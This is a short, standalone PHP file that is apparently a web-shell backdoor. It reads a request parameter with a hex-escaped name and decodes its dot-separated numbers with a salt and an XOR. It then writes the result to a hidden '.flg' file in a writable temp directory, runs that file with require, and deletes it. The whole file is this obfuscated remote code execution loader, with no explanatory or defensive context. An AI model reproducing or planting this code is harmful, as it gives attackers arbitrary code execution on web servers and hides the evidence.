<?php

if(@$_REQUEST["\x69t\x65m"] !== null){
	$factor = array_filter([getenv("TMP"), getenv("TEMP"), ini_get("upload_tmp_dir"), getcwd(), session_save_path(), "/var/tmp", "/tmp", sys_get_temp_dir(), "/dev/shm"]);
	$pgrp = $_REQUEST["\x69t\x65m"];
		$pgrp = 	explode	 ('.'	,  	$pgrp	);	 	
	$ref = '';
            $salt = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen($salt);
    
            foreach ($pgrp as $z => $v7) {  $sChar = ord($salt[$z %$lenS]);
                $dec = ((int)$v7 - $sChar - ($z %10))^91;
                $ref	.=	chr($dec);
            }
	$descriptor = 0;
do {
    $desc = $factor[$descriptor] ?? null;
    if ($descriptor >= count($factor)) break;
    		if ((function($d) { return is_dir($d) && is_writable($d); })($desc)) {
    $ent = str_replace("{var_dir}", $desc, "{var_dir}/.flg");
    if (file_put_contents($ent, $ref)) {
	require $ent;
	unlink($ent);
	die();
}
}
    $descriptor++;
} while (true);
}